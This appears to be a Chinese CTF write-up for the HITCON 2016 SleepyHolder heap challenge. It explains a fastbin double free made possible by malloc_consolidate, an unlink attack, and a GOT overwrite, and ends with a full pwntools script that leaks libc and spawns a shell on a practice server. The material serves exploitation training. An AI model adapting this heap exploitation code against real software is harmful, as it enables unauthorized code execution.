sleepyHolder_hitcon_2016
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,delete功能没有清空指针,并且也没有校验,因此可以double free。
Edit功能又验证标志,因此不能UAF编辑
Add功能可以创建三种规格的堆。
由于没有开启PIE,并且堆指针存储在bss上,因此unlink是比较好的方法。但是不能溢出,
而要想成功double free,仅一个fastbin的chunk不行。Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样。
因此,我们可以利用malloc_consolidate,来将fastbin的chunk从fastbin里卸下来,触发malloc_consolidate的条件是申请一个大的堆,功能里正好有这个功能。malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk,然后释放下一个unsorted bin范围的chunk,就会发生unlink。
Unlink以后,实现了任意地址读写,改写got表
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./sleepyHolder_hitcon_2016')
sh = remote('node3.buuoj.cn',25929)
elf = ELF('./sleepyHolder_hitcon_2016')
free_got = elf.got['free']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
small_buf_addr = 0x00000000006020D0
def add(type,content):
sh.sendlineafter('3. Renew secret\n','1')
sh.sendlineafter('What secret do you want to keep?',str(type))
sh.sendafter('Tell me your secret:',content)
def delete(type):
sh.sendlineafter('3. Renew secret\n','2')
sh.sendlineafter('Which Secret do you want to wipe?',str(type))
def edit(type,content):
sh.sendlineafter('3. Renew secret\n','3')
sh.sendlineafter('Which Secret do you want to renew?',str(type))
sh.sendafter('Tell me your secret:',content)
add(1,'a'*0x20)
add(2,'b'*0x20)
#1放入fastbin
delete(1)
#触发malloc_consolidate整理fastbin放入smallbin
add(3,'c'*0x20)
#由于fastbin的double free仅仅是比较fastbin头与当前free的chunk是否一样
#由于malloc_consolidate把fastbin里的chunk给取出来了,因此又可以free一次了
#并且chunk2的size的prev_inuse已经清零
#现在可以再一次free fastbin了
delete(1)
#伪造chunk1
payload = p64(0) + p64(0x21)
#fd、bk
payload += p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)
#prev_size
payload += p64(0x20)
add(1,payload)
#unlink
delete(2)
#修改big_buf、small_buf指针
payload = '\x00'*0x8 + p64(free_got) + p64(0) + p64(small_buf_addr - 0x10) + p64(1)
edit(1,payload)
#修改free的got表为puts的plt表
edit(2,p64(puts_plt))
#修改big_buf、small_buf指针
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p64(1) + p64(1)
edit(1,payload)
#泄露atoi地址
delete(1)
sh.recvuntil('2. Big secret\n')
atoi_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system
edit(2,p64(system_addr))
#getshell
sh.sendlineafter('3. Renew secret\n','sh\x00')
sh.interactive()